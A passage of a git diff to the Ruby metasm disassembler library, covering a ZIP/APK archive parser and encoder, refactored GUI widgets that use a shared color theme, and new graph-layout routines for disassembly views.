:uncompressed_sz + halfs :fname_len, :extra_len + attr_accessor :fname, :extra + attr_accessor :compressed_off + + def decode(zip) + super(zip) + raise "Invalid ZIP signature #{@signature.to_s(16)}" if @signature != MAGIC_LOCALHEADER + @fname = zip.encoded.read(@fname_len) if @fname_len > 0 + @extra = zip.encoded.read(@extra_len) if @extra_len > 0 + @compressed_off = zip.encoded.ptr + end + + def set_default_values(zip) + @fname_len = fname ? @fname.length : 0 + @extra_len = extra ? @extra.length : 0 + super(zip) + end + + def encode(zip) + ed = super(zip) + ed << fname << extra + end + + # return a new LocalHeader with all fields copied from a CentralHeader + def self.from_central(f) + l = new + l.verneed = f.verneed + l.flags = f.flags + l.compress_method = f.compress_method + l.mtime = f.mtime + l.mdate = f.mdate + l.crc32 = f.crc32 + l.compressed_sz = f.compressed_sz + l.uncompressed_sz = f.uncompressed_sz + l.fname = f.fname + l.extra = f.extra + l + end + end + + MAGIC_CENTRALHEADER = 0x02014b50 + class CentralHeader < SerialStruct + word :signature, MAGIC_CENTRALHEADER + half :vermade, 10 + half :verneed, 10 + half :flags + half :compress_method, 0, COMPRESSION_METHOD + halfs :mtime, :mdate + word :crc32 + words :compressed_sz, :uncompressed_sz + halfs :fname_len, :extra_len, :comment_len + half :disk_nr + half :file_attr_intern + word :file_attr_extern + word :localhdr_off + attr_accessor :fname, :extra, :comment + attr_accessor :data + + def decode(zip) + super(zip) + raise "Invalid ZIP signature #{@signature.to_s(16)}" if @signature != MAGIC_CENTRALHEADER + @fname = zip.encoded.read(@fname_len) if @fname_len > 0 + @extra = zip.encoded.read(@extra_len) if @extra_len > 0 + @comment = zip.encoded.read(@comment_len) if @comment_len > 0 + end + + def set_default_values(zip) + @fname_len = fname ? @fname.length : 0 + @extra_len = extra ? @extra.length : 0 + @comment_len = comment ? @comment.length : 0 + super(zip) + end + + def encode(zip) + ed = super(zip) + ed << fname << extra << comment + end + + # reads the raw file data from the archive + def file_data(zip) + return @data if data + + zip.encoded.ptr = @localhdr_off + LocalHeader.decode(zip) + raw = zip.encoded.read(@compressed_sz) + @data = case @compress_method + when 'NONE' + raw + when 'DEFLATE' + z = Zlib::Inflate.new(-Zlib::MAX_WBITS) + z.inflate(raw) + else + raise "Unsupported zip compress method #@compress_method" + end + end + + def zlib_deflate(data, level=Zlib::DEFAULT_COMPRESSION) + z = Zlib::Deflate.new(level, -Zlib::MAX_WBITS) + z.deflate(data) + z.finish + end + + # encode the data, fixup related fields + def encode_data(zip) + data = file_data(zip) + @compress_method = 'NONE' if data == '' + + @crc32 = Zlib.crc32(data) + @uncompressed_sz = data.length + + case compress_method + when 'NONE' + when 'DEFLATE' + data = zlib_deflate(data) + when nil + # autodetect compression method + # compress if we win more than 10% space + cdata = zlib_deflate(data) + ratio = cdata.length * 100 / data.length + if ratio < 90 + @compress_method = 'DEFLATE' + data = cdata + else + @compress_method = 'NONE' + end + end + + @compressed_sz = data.length + + data + end + end + + MAGIC_ENDCENTRALDIRECTORY = 0x06054b50 + class EndCentralDirectory < SerialStruct + word :signature, MAGIC_ENDCENTRALDIRECTORY + halfs :disk_nr, :disk_centraldir, :entries_nr_thisdisk, :entries_nr + word :directory_sz + word :directory_off + half :comment_len + attr_accessor :comment + + def decode(zip) + super(zip) + raise "Invalid ZIP end signature #{@signature.to_s(16)}" if @signature != MAGIC_ENDCENTRALDIRECTORY + @comment = zip.encoded.read(@comment_len) if @comment_len > 0 + end + + def set_default_values(zip) + @entries_nr_thisdisk = zip.files.length + @entries_nr = zip.files.length + @comment_len = comment ? @comment.length : 0 + super(zip) + end + + def encode(zip) + ed = super(zip) + ed << comment + end + end + + def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end + def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end + def encode_half(w) Expression[w].encode(:u16, @endianness) end + def encode_word(w) Expression[w].encode(:u32, @endianness) end + + attr_accessor :files, :header + + def initialize(cpu = nil) + @endianness = :little + @header = EndCentralDirectory.new + @files = [] + super(cpu) + end + + # scan and decode the 'end of central directory' header + def decode_header + if not @encoded.ptr = @encoded.data.rindex([MAGIC_ENDCENTRALDIRECTORY].pack('V')) + raise "ZIP: no end of central directory record" + end + @header = EndCentralDirectory.decode(self) + end + + # read the whole central directory file descriptors + def decode + decode_header + @encoded.ptr = @header.directory_off + while @encoded.ptr < @header.directory_off + @header.directory_sz + @files << CentralHeader.decode(self) + end + end + + # checks if a given file name exists in the archive + # returns the CentralHeader or nil + # case-insensitive if lcase is false + def has_file(fname, lcase=true) + decode if @files.empty? + if lcase + @files.find { |f| f.fname == fname } + else + fname = fname.downcase + @files.find { |f| f.fname.downcase == fname } + end + end + + # returns the uncompressed raw file content from a given name + # nil if name not found + # case-insensitive if lcase is false + def file_data(fname, lcase=true) + if f = has_file(fname, lcase) + f.file_data(self) + end + end + + # add a new file to the zip archive + def add_file(fname, data, compress=:auto) + f = CentralHeader.new + + case compress + when 'NONE', false; f.compress_method = 'NONE' + when 'DEFLATE', true; f.compress_method = 'DEFLATE' + end + + f.fname = fname + f.data = data + + @files << f + f + end + + # create a new zip file + def encode + edata = EncodedData.new + central_dir = EncodedData.new + + @files.each { |f| + encode_entry(f, edata, central_dir) + } + + @header.directory_off = edata.length + @header.directory_sz = central_dir.length + + edata << central_dir << @header.encode(self) + + @encoded = edata + end + + # add one file to the zip stream + def encode_entry(f, edata, central_dir) + f.localhdr_off = edata.length + + # may autodetect compression method + raw = f.encode_data(self) + + zipalign(f, edata) + + central_dir << f.encode(self) # calls f.set_default_values + + l = LocalHeader.from_central(f) + edata << l.encode(self) + + edata << raw + end + + # zipalign: ensure uncompressed data starts on a 4-aligned offset + def zipalign(f, edata) + if f.compress_method == 'NONE' and not f.extra + o = (edata.length + f.fname.length + 2) & 3 + f.extra = " "*(4-o) if o > 0 + end + + end + + # when called as AutoExe, try to find a meaningful exefmt + def self.autoexe_load(bin) + z = decode(bin) + if dex = z.file_data('classes.dex') + puts "ZIP: APK file, loading 'classes.dex'" if $VERBOSE + AutoExe.load(dex) + else + z + end + end +end +end diff --git a/lib/metasm/metasm/gui.rb b/lib/metasm/metasm/gui.rb index 4aa150e0fd..36630d4459 100644 --- a/lib/metasm/metasm/gui.rb +++ b/lib/metasm/metasm/gui.rb @@ -1,23 +1,13 @@ -backend = case ENV['METASM_GUI'] -when 'gtk'; 'gtk' -when 'qt'; 'qt' -when 'win32'; 'win32' -else - puts "Unsupported METASM_GUI #{ENV['METASM_GUI'].inspect}" if $VERBOSE and ENV['METASM_GUI'] +backend = ENV['METASM_GUI'] || ( if RUBY_PLATFORM =~ /(i.86|x(86_)?64)-(mswin|mingw|cygwin)/i 'win32' else - begin - require 'gtk2' - 'gtk' - rescue LoadError - #begin - # require 'Qt4' - # 'qt' - #rescue LoadError + begin + require 'gtk2' + 'gtk' + rescue LoadError raise LoadError, 'No GUI ruby binding installed - please install libgtk2-ruby' - #end + end end - end -end +) require "metasm/gui/#{backend}" diff --git a/lib/metasm/metasm/gui/cstruct.rb b/lib/metasm/metasm/gui/cstruct.rb index 55c3c5c477..2fe8fa8c48 100644 --- a/lib/metasm/metasm/gui/cstruct.rb +++ b/lib/metasm/metasm/gui/cstruct.rb @@ -23,8 +23,7 @@ class CStructWidget < DrawableWidget @cwidth = @cheight = 1 # widget size in chars @structdepth = 2 - @default_color_association = { :text => :black, :keyword => :blue, :caret => :black, - :background => :white, :hl_word => :palered, :comment => :darkblue } + @default_color_association = ColorTheme.merge :keyword => :blue end def click(x, y) @@ -90,19 +89,7 @@ class CStructWidget < DrawableWidget elsif cx < @view_x else t = t[(@view_x - cx + t.length)..-1] if cx-t.length < @view_x - if @hl_word - stmp = t - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length*@font_width - hl_w = s2.length*@font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_w, @font_height) - pre_x += hl_w - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(c, x, y, t) + draw_string_hl(c, x, y, t) x += t.length * @font_width end } @@ -116,7 +103,7 @@ class CStructWidget < DrawableWidget cy = (@caret_y-@view_y)*@font_height draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) end - + @oldcaret_x, @oldcaret_y = @caret_x, @caret_y end @@ -179,28 +166,31 @@ class CStructWidget < DrawableWidget when ?l liststructs when ?t - inputbox('new struct name to use', :text => (@curstruct.name rescue '')) { |n| - lst = @dasm.c_parser.toplevel.struct.keys.grep(String) - if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } - focus_addr(@curaddr, @dasm.c_parser.toplevel.struct[fn]) - else - lst = @dasm.c_parser.toplevel.symbol.keys.grep(String).find_all { |ln| - s = @dasm.c_parser.toplevel.symbol[ln] - s.kind_of?(C::TypeDef) and s.untypedef.kind_of?(C::Union) - } - if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } - focus_addr(@curaddr, @dasm.c_parser.toplevel.symbol[fn].untypedef) - else - liststructs(n) - end - end - } + inputbox('new struct name to use', :text => (@curstruct.name rescue '')) { |n| focus_struct_byname(n) } else return false end true end - def liststructs(partname=nil) + # display the struct or pop a list of matching struct names if ambiguous + def focus_struct_byname(n, addr=@curaddr) + lst = @dasm.c_parser.toplevel.struct.keys.grep(String) + if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } + focus_addr(addr, @dasm.c_parser.toplevel.struct[fn]) + else + lst = @dasm.c_parser.toplevel.symbol.keys.grep(String).find_all { |ln| + s = @dasm.c_parser.toplevel.symbol[ln] + s.kind_of?(C::TypeDef) and s.untypedef.kind_of?(C::Union) + } + if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } + focus_addr(addr, @dasm.c_parser.toplevel.symbol[fn].untypedef) + else + liststructs(n, addr) + end + end + end + + def liststructs(partname=nil, addr=@curaddr) tl = @dasm.c_parser.toplevel list = [['name', 'size']] list += tl.struct.keys.grep(String).sort.map { |stn| @@ -216,12 +206,12 @@ class CStructWidget < DrawableWidget }.compact if partname and list.length == 2 - focus_addr(@curaddr, tl.struct[list[1][0]] || tl.symbol[list[1][0]].untypedef) + focus_addr(addr, tl.struct[list[1][0]] || tl.symbol[list[1][0]].untypedef) return end listwindow('structs', list) { |stn| - focus_addr(@curaddr, tl.struct[stn[0]] || tl.symbol[stn[0]].untypedef) + focus_addr(addr, tl.struct[stn[0]] || tl.symbol[stn[0]].untypedef) } end @@ -240,7 +230,7 @@ class CStructWidget < DrawableWidget def update_caret if @caret_x < @view_x or @caret_x >= @view_x + @cwidth or @caret_y < @view_y or @caret_y >= @view_y + @cheight redraw - elsif update_hl_word(@line_text[@caret_y], @caret_x) + elsif update_hl_word(@line_text[@caret_y], @caret_x, :c) redraw else invalidate_caret(@oldcaret_x-@view_x, @oldcaret_y-@view_y) @@ -254,9 +244,14 @@ class CStructWidget < DrawableWidget def focus_addr(addr, struct=@curstruct) return if @parent_widget and not addr = @parent_widget.normalize(addr) @curaddr = addr - @curstruct = struct @caret_x = @caret_y = 0 - gui_update + if struct.kind_of? String + @curstruct = nil + focus_struct_byname(struct) + else + @curstruct = struct + gui_update + end true end @@ -278,7 +273,7 @@ class CStructWidget < DrawableWidget @line_text_col << [] render[indent * [@structdepth - maxdepth, 0].max, :text] } - + if not obj @line_text_col = [[]] @line_dereference = [] @@ -308,7 +303,6 @@ class CStructWidget < DrawableWidget elsif struct.kind_of?(C::Struct) render["struct #{struct.name || '_'} st_#{Expression[@curaddr]} = ", :text] if not off fldoff = struct.fldoffset - fbo = struct.fldbitoffset || {} else render["union #{struct.name || '_'} un_#{Expression[@curaddr]} = ", :text] if not off end @@ -363,7 +357,7 @@ class CStructWidget < DrawableWidget else @line_text_col = [[[:text, '/* no struct selected (list with "l") */']]] end - + @line_text = @line_text_col.map { |l| l.map { |c, s| s }.join } update_caret redraw diff --git a/lib/metasm/metasm/gui/dasm_coverage.rb b/lib/metasm/metasm/gui/dasm_coverage.rb index c2a7640aac..0278198fcc 100644 --- a/lib/metasm/metasm/gui/dasm_coverage.rb +++ b/lib/metasm/metasm/gui/dasm_coverage.rb @@ -19,15 +19,15 @@ class CoverageWidget < DrawableWidget @section_x = [] @slave = nil # another dasmwidget whose curaddr is kept sync - @default_color_association = { :caret => :yellow, :caret_col => :darkyellow, - :background => :palegrey, :code => :red, :data => :blue } + @default_color_association = ColorTheme.merge :caret => :yellow, :caret_col => :darkyellow, + :background => :palegrey, :code => :red, :data => :blue end def click(x, y) x, y = x.to_i - 1, y.to_i - @sections.zip(@section_x).each { |(a, l, seq), (sx, sxe)| - if x >= sx and x < sxe+@pixel_w - @curaddr = a + (x-sx)/@pixel_w*@byte_per_col + (y/@pixel_h-@spacing)*@byte_per_col/@col_height + @sections.zip(@section_x).each { |s, sx| + if x >= sx[0] and x < sx[1]+@pixel_w + @curaddr = s[0] + (x-sx[0])/@pixel_w*@byte_per_col + (y/@pixel_h-@spacing)*@byte_per_col/@col_height @slave.focus_addr(@curaddr) if @slave rescue @slave=nil redraw break @@ -125,13 +125,13 @@ class CoverageWidget < DrawableWidget x += @spacing*@pixel_w } - @sections.zip(@section_x).each { |(a, l, seq), (sx, sxe)| - next if @curaddr.kind_of? Integer and not a.kind_of? Integer - next if @curaddr.kind_of? Expression and not a.kind_of? Expression - co = @curaddr-a - if co >= 0 and co < l + @sections.zip(@section_x).each { |s, sx| + next if @curaddr.kind_of? Integer and not s[0].kind_of? Integer + next if @curaddr.kind_of? Expression and not s[0].kind_of? Expression + co = @curaddr-s[0] + if co >= 0 and co < s[1] draw_color :caret_col - x = sx + (co/@byte_per_col)*@pixel_w + x = sx[0] + (co/@byte_per_col)*@pixel_w draw_rect[-@spacing, -1, 1] draw_rect[@col_height, @col_height+@spacing, 1] draw_color :caret diff --git a/lib/metasm/metasm/gui/dasm_decomp.rb b/lib/metasm/metasm/gui/dasm_decomp.rb index da9b6d3e3d..14de7cbadf 100644 --- a/lib/metasm/metasm/gui/dasm_decomp.rb +++ b/lib/metasm/metasm/gui/dasm_decomp.rb @@ -19,9 +19,8 @@ class CdecompListingWidget < DrawableWidget @curaddr = nil @tabwidth = 8 - @default_color_association = { :text => :black, :keyword => :blue, :caret => :black, - :background => :white, :hl_word => :palered, :localvar => :darkred, - :globalvar => :darkgreen, :intrinsic => :darkyellow } + @default_color_association = ColorTheme.merge :keyword => :blue, :localvar => :darkred, + :globalvar => :darkgreen, :intrinsic => :darkyellow end def curfunc @@ -91,19 +90,7 @@ class CdecompListingWidget < DrawableWidget # must not include newline render = lambda { |str, color| # function ends when we write under the bottom of the listing - if @hl_word - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length*@font_width - hl_w = s2.length*@font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_w, @font_height) - pre_x += hl_w - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } @@ -128,7 +115,7 @@ class CdecompListingWidget < DrawableWidget cy = (@caret_y-@view_y)*@font_height draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) end - + @oldcaret_x, @oldcaret_y = @caret_x, @caret_y end @@ -184,7 +171,7 @@ class CdecompListingWidget < DrawableWidget f.decompdata[:stackoff_name][s.stackoff] = v if s.stackoff elsif @dasm.c_parser.toplevel.symbol[n] @dasm.rename_label(n, v) - @curaddr = v if @curaddr == n + @curaddr = v if @curaddr == n end gui_update } @@ -264,13 +251,13 @@ class CdecompListingWidget < DrawableWidget invalidate_caret(@caret_x-@view_x, @caret_y-@view_y) @oldcaret_x, @oldcaret_y = @caret_x, @caret_y - redraw if update_hl_word(@line_text[@caret_y], @caret_x) + redraw if update_hl_word(@line_text[@caret_y], @caret_x, :c) end # focus on addr # returns true on success (address exists & decompiled) def focus_addr(addr) - if @dasm.c_parser and (@dasm.c_parser.toplevel.symbol[addr] or @dasm.c_parser.toplevel.struct[addr]) + if @dasm.c_parser and (@dasm.c_parser.toplevel.symbol[addr] or @dasm.c_parser.toplevel.struct[addr].kind_of?(C::Union)) @curaddr = addr @caret_x = @caret_y = 0 gui_update diff --git a/lib/metasm/metasm/gui/dasm_graph.rb b/lib/metasm/metasm/gui/dasm_graph.rb index f5fcb3c4f9..30951be1fd 100644 --- a/lib/metasm/metasm/gui/dasm_graph.rb +++ b/lib/metasm/metasm/gui/dasm_graph.rb @@ -22,13 +22,7 @@ class Graph #def inspect ; puts caller ; "#{Expression[@id] rescue @id.inspect}" end end - # TODO - class MergedBox - attr_accessor :id, :text, :x, :y, :w, :h - attr_accessor :to, :from - end - - attr_accessor :id, :box, :root_addrs, :view_x, :view_y, :keep_split + attr_accessor :id, :box, :box_id, :root_addrs, :view_x, :view_y, :keep_split def initialize(id) @id = id @root_addrs = [] @@ -39,29 +33,597 @@ class Graph # empty @box def clear @box = [] + @box_id = {} end # link the two boxes (by id) def link_boxes(id1, id2) - raise "unknown index 1 #{id1}" if not b1 = @box.find { |b| b.id == id1 } - raise "unknown index 2 #{id2}" if not b2 = @box.find { |b| b.id == id2 } + raise "unknown index 1 #{id1}" if not b1 = @box_id[id1] + raise "unknown index 2 #{id2}" if not b2 = @box_id[id2] b1.to |= [b2] b2.from |= [b1] end # creates a new box, ensures id is not already taken def new_box(id, content=nil) - raise "duplicate id #{id}" if @box.find { |b| b.id == id } + raise "duplicate id #{id}" if @box_id[id] b = Box.new(id, content) @box << b + @box_id[id] = b b end + # returns the [x1, y1, x2, y2] of the rectangle encompassing all boxes + def boundingbox + minx = @box.map { |b| b.x }.min.to_i + miny = @box.map { |b| b.y }.min.to_i + maxx = @box.map { |b| b.x + b.w }.max.to_i + maxy = @box.map { |b| b.y + b.h }.max.to_i + [minx, miny, maxx, maxy] + end + + # a -> b -> c -> d (no other in/outs) + def pattern_layout_col(groups) + # find head + return if not head = groups.find { |g| + g.to.length == 1 and + g.to[0].from.length == 1 and + (g.from.length != 1 or g.from[0].to.length != 1) + } + + # find full sequence + ar = [head] + while head.to.length == 1 and head.to[0].from.length == 1 + head = head.to[0] + ar << head + end + + # move boxes inside this group + maxw = ar.map { |g| g.w }.max + fullh = ar.inject(0) { |h, g| h + g.h } + cury = -fullh/2 + ar.each { |g| + dy = cury - g.y + g.content.each { |b| b.y += dy } + cury += g.h + } + + # create remplacement group + newg = Box.new(nil, ar.map { |g| g.content }.flatten) + newg.w = maxw + newg.h = fullh + newg.x = -newg.w/2 + newg.y = -newg.h/2 + newg.from = ar.first.from - ar + newg.to = ar.last.to - ar + # fix xrefs + newg.from.each { |g| g.to -= ar ; g.to << newg } + newg.to.each { |g| g.from -= ar ; g.from << newg } + # fix groups + groups[groups.index(head)] = newg + ar.each { |g| groups.delete g } + + true + end + + # if a group has no content close to its x/x+w borders, shrink it + def group_remove_hz_margin(g, maxw=16) + if g.content.empty? + g.x = -maxw/2 if g.x < -maxw/2 + g.w = maxw if g.w > maxw + return + end + + margin_left = g.content.map { |b| b.x }.min - g.x + margin_right = g.x+g.w - g.content.map { |b| b.x+b.w }.max + if margin_left + margin_right > maxw + g.w -= margin_left + margin_right - maxw + dx = (maxw/2 + margin_right - margin_left)/2 + g.content.each { |b| b.x += dx } + g.x = -g.w/2 + end + end + + # a -> [b, c, d] -> e + def pattern_layout_line(groups) + # find head + ar = [] + groups.each { |g| + if g.from.length == 1 and g.to.length <= 1 and g.from.first.to.length > 1 + ar = g.from.first.to.find_all { |gg| gg.from == g.from and gg.to == g.to } + elsif g.from.empty? and g.to.length == 1 and g.to.first.from.length > 1 + ar = g.to.first.from.find_all { |gg| gg.from == g.from and gg.to == g.to } + else ar = [] + end + break if ar.length > 1 + } + return if ar.length <= 1 + + ar.each { |g| group_remove_hz_margin(g) } + + # move boxes inside this group + #ar = ar.sort_by { |g| -g.h } + maxh = ar.map { |g| g.h }.max + fullw = ar.inject(0) { |w, g| w + g.w } + curx = -fullw/2 + ar.each { |g| + # if no to, put all boxes at bottom ; if no from, put them at top + case [g.from.length, g.to.length] + when [1, 0]; dy = (g.h - maxh)/2 + when [0, 1]; dy = (maxh - g.h)/2 + else dy = 0 + end + + dx = curx - g.x + g.content.each { |b| b.x += dx ; b.y += dy } + curx += g.w + } + # add a 'margin-top' proportionnal to the ar width + # this gap should be relative to the real boxes and not possible previous gaps when + # merging lines (eg long line + many if patterns -> dont duplicate gaps) + boxen = ar.map { |g| g.content }.flatten + realh = boxen.map { |g| g.y + g.h }.max - boxen.map { |g| g.y }.min + if maxh < realh + fullw/4 + maxh = realh + fullw/4 + end + + # create remplacement group + newg = Box.new(nil, ar.map { |g| g.content }.flatten) + newg.w = fullw + newg.h = maxh + newg.x = -newg.w/2 + newg.y = -newg.h/2 + newg.from = ar.first.from + newg.to = ar.first.to + # fix xrefs + newg.from.each { |g| g.to -= ar ; g.to << newg } + newg.to.each { |g| g.from -= ar ; g.from << newg } + # fix groups + groups[groups.index(ar.first)] = newg + ar.each { |g| groups.delete g } + + true + end + + # a -> b -> c & a -> c + def pattern_layout_ifend(groups) + # find head + return if not head = groups.find { |g| + g.to.length == 2 and + ((g.to[0].from.length == 1 and g.to[0].to.length == 1 and g.to[0].to[0] == g.to[1]) or + (g.to[1].from.length == 1 and g.to[1].to.length == 1 and g.to[1].to[0] == g.to[0])) + } + + if head.to[0].to.include?(head.to[1]) + ten = head.to[0] + else + ten = head.to[1] + end + + # stuff 'then' inside the 'if' + # move 'if' up, 'then' down + head.content.each { |g| g.y -= ten.h/2 } + ten.content.each { |g| g.y += head.h/2 } + head.h += ten.h + head.y -= ten.h/2 + + # widen 'if' + # this adds a phantom left side + # drop existing margins first + group_remove_hz_margin(ten) + dw = ten.w - head.w/2 + if dw > 0 + # need to widen head to fit ten + head.w += 2*dw + head.x -= dw + end + + # merge + ten.content.each { |g| g.x += -ten.x } + head.content.concat ten.content + + head.to.delete ten + head.to[0].from.delete ten + + groups.delete ten + + true + + end + + def pattern_layout_complex(groups) + order = order_graph(groups) + uniq = nil + if groups.sort_by { |g| order[g] }.find { |g| + next if g.to.length <= 1 + # list all nodes reachable for every 'to' + reach = g.to.map { |t| list_reachable(t) } + # list all nodes reachable only from a single 'to' + uniq = [] + reach.each_with_index { |r, i| + # take all nodes reachable from there ... + u = uniq[i] = r.dup + u.delete_if { |k, v| k.content.empty? } # ignore previous layout_complex artifacts + reach.each_with_index { |rr, ii| + next if i == ii + # ... and delete nodes reachable from anywhere else + rr.each_key { |k| u.delete k } + } + } + uniq.delete_if { |u| u.length <= 1 } + !uniq.empty? + } + # now layout every uniq subgroup independently + uniq.each { |u| + subgroups = groups.find_all { |g| u[g] } + + # isolate subgroup from external links + # change all external links into a single empty box + newtop = Box.new(nil, []) + newtop.x = -8 ; newtop.y = -9 + newtop.w = 16 ; newtop.h = 18 + newbot = Box.new(nil, []) + newbot.x = -8 ; newbot.y = -9 + newbot.w = 16 ; newbot.h = 18 + hadfrom = [] ; hadto = [] + subgroups.each { |g| + g.to.dup.each { |t| + next if u[t] + newbot.from |= [g] + g.to.delete t + hadto << t + g.to |= [newbot] + } + g.from.dup.each { |f| + next if u[f] + newtop.to |= [g] + g.from.delete f + hadfrom << f + g.from |= [newtop] + } + } + subgroups << newtop << newbot + + # subgroup layout + auto_arrange_step(subgroups) while subgroups.length > 1 + newg = subgroups[0] + + # patch 'groups' + idx = groups.index { |g| u[g] } + groups.delete_if { |g| u[g] } + groups[idx, 0] = [newg] + + # restore external links & fix xrefs + hadfrom.uniq.each { |f| + f.to.delete_if { |t| u[t] } + f.to |= [newg] + newg.from |= [f] + } + hadto.uniq.each { |t| + t.from.delete_if { |f| u[f] } + t.from |= [newg] + newg.to |= [t] + } + } + + true + end + end + + # find the minimal set of nodes from which we can reach all others + # this is done *before* removing cycles in the graph + # returns the order (Hash group => group_order) + # roots have an order of 0 + def order_graph(groups) + roots = groups.find_all { |g| g.from.empty? } + o = {} # tentative order + todo = [] + + loop do + roots.each { |g| + o[g] ||= 0 + todo |= g.to.find_all { |gg| not o[gg] } + } + + # order nodes from the tentative roots + until todo.empty? + n = todo.find { |g| g.from.all? { |gg| o[gg] } } || order_solve_cycle(todo, o) + todo.delete n + o[n] = n.from.map { |g| o[g] }.compact.max + 1 + todo |= n.to.find_all { |g| not o[g] } + end + break if o.length >= groups.length + + # pathological cases + + if noroot = groups.find_all { |g| o[g] and g.from.find { |gg| not o[gg] } }.sort_by { |g| o[g] }.first + # we picked a root in the middle of the graph, walk up + todo |= noroot.from.find_all { |g| not o[g] } + until todo.empty? + n = todo.find { |g| g.to.all? { |gg| o[gg] } } || + todo.sort_by { |g| g.to.map { |gg| o[gg] }.compact.min }.first + todo.delete n + o[n] = n.to.map { |g| o[g] }.compact.min - 1 + todo |= n.from.find_all { |g| not o[g] } + end + # setup todo for next fwd iteration + todo |= groups.find_all { |g| not o[g] and g.from.find { |gg| o[gg] } } + else + # disjoint graph, start over from one other random node + roots << groups.find { |g| not o[g] } + end + end + + if o.values.find { |rank| rank < 0 } + # did hit a pathological case, restart with found real roots + roots = groups.find_all { |g| not g.from.find { |gg| o[gg] < o[g] } } + o = {} + todo = [] + roots.each { |g| + o[g] ||= 0 + todo |= g.to.find_all { |gg| not o[gg] } + } + until todo.empty? + n = todo.find { |g| g.from.all? { |gg| o[gg] } } || order_solve_cycle(todo, o) + todo.delete n + o[n] = n.from.map { |g| o[g] }.compact.max + 1 + todo |= n.to.find_all { |g| not o[g] } + end + + # there's something screwy around here ! + raise "moo" if o.length < groups.length + end + + o + end + + def order_solve_cycle(todo, o) + # 'todo' has no trivial candidate + # pick one node from todo which no other todo can reach + # exclude pathing through already ordered nodes + todo.find { |t1| + not todo.find { |t2| t1 != t2 and can_find_path(t2, t1, o.dup) } + } || + # some cycle heads are mutually recursive + todo.sort_by { |t1| + # find the one who can reach the most others + [todo.find_all { |t2| t1 != t2 and can_find_path(t1, t2, o.dup) }.length, + # and with the highest rank + t1.from.map { |gg| o[gg] }.compact.max] + }.last + end + + # checks if there is a path from src to dst avoiding stuff in 'done' + def can_find_path(src, dst, done={}) + todo = [src] + while g = todo.pop + next if done[g] + return true if g == dst + done[g] = true + todo.concat g.to + end + false + end + + # returns a hash with true for every node reachable from src (included) + def list_reachable(src, done={}) + todo = [src] + while g = todo.pop + next if done[g] + done[g] = true + todo.concat g.to + end + done + end + + # revert looping edges in groups + def make_tree(groups, order) + # now we have the roots and node orders + # revert cycling edges - o(chld) < o(parent) + order.each_key { |g| + g.to.dup.each { |gg| + if order[gg] < order[g] + # cycling edge, revert + g.to.delete gg + gg.from.delete g + g.from |= [gg] + gg.to |= [g] + end + } + } + end + + # group groups in layers of same order + # create dummy groups along long edges so that no path exists between non-contiguous layers + def create_layers(groups, order) + newemptybox = lambda { + b = Box.new(nil, []) + b.x = -8 + b.y = -9 + b.w = 16 + b.h = 18 + groups << b + b + } + + newboxo = {} + + order.each_key { |g| + og = order[g] || newboxo[g] + g.to.dup.each { |gg| + ogg = order[gg] || newboxo[gg] + if ogg > og+1 + # long edge, expand + sq = [g] + (ogg - 1 - og).times { |i| sq << newemptybox[] } + sq << gg + gg.from.delete g + g.to.delete gg + newboxo[g] ||= order[g] + sq.inject { |g1, g2| + g1.to |= [g2] + g2.from |= [g1] + newboxo[g2] = newboxo[g1]+1 + g2 + } + raise if newboxo[gg] != ogg + end + } + } + + order.update newboxo + + # layers[o] = [list of nodes of order o] + layers = [] + groups.each { |g| + (layers[order[g]] ||= []) << g + } + + layers + end + + # take all groups, order them by order, layout as layers + # always return a single group holding everything + def layout_layers(groups) + order = order_graph(groups) + # already a tree + layers = create_layers(groups, order) + return if layers.empty? + + layers.each { |l| l.each { |g| group_remove_hz_margin(g) } } + + # widest layer width + maxlw = layers.map { |l| l.inject(0) { |ll, g| ll + g.w } }.max + + # center the 1st layer boxes on a segment that large + x0 = -maxlw/2.0 + curlw = layers[0].inject(0) { |ll, g| ll + g.w } + dx0 = (maxlw - curlw) / (2.0*layers[0].length) + layers[0].each { |g| + x0 += dx0 + g.x = x0 + x0 += g.w + dx0 + } + + # at this point, the goal is to reorder the most populated layer the best we can, and + # move other layers' boxes accordingly + layers[1..-1].each { |l| + # for each subsequent layer, reorder boxes based on their ties with the previous layer + i = 0 + l.replace l.sort_by { |g| + # we know g.from is not empty (g would be in @layer[0]) + medfrom = g.from.inject(0.0) { |mx, gg| mx + (gg.x + gg.w/2.0) } / g.from.length + # on ties, keep original order + [medfrom, i] + } + # now they are reordered, update their #x accordingly + # evenly distribute them in the layer + x0 = -maxlw/2.0 + curlw = l.inject(0) { |ll, g| ll + g.w } + dx0 = (maxlw - curlw) / (2.0*l.length) + l.each { |g| + x0 += dx0 + g.x = x0 + x0 += g.w + dx0 + } + } + + layers[0...-1].reverse_each { |l| + # for each subsequent layer, reorder boxes based on their ties with the previous layer + i = 0 + l.replace l.sort_by { |g| + if g.to.empty? + # TODO floating end + medfrom = 0 + else + medfrom = g.to.inject(0.0) { |mx, gg| mx + (gg.x + gg.w/2.0) } / g.to.length + end + # on ties, keep original order + [medfrom, i] + } + # now they are reordered, update their #x accordingly + x0 = -maxlw/2.0 + curlw = l.inject(0) { |ll, g| ll + g.w } + dx0 = (maxlw - curlw) / (2.0*l.length) + l.each { |g| + x0 += dx0 + g.x = x0 + x0 += g.w + dx0 + } + } + + # now the boxes are (hopefully) sorted correctly + # position them according to their ties with prev/next layer + # from the maxw layer (positionning = packed), propagate adjacent layers positions + maxidx = (0..layers.length).find { |i| l = layers[i] ; l.inject(0) { |ll, g| ll + g.w } == maxlw } + # list of layer indexes 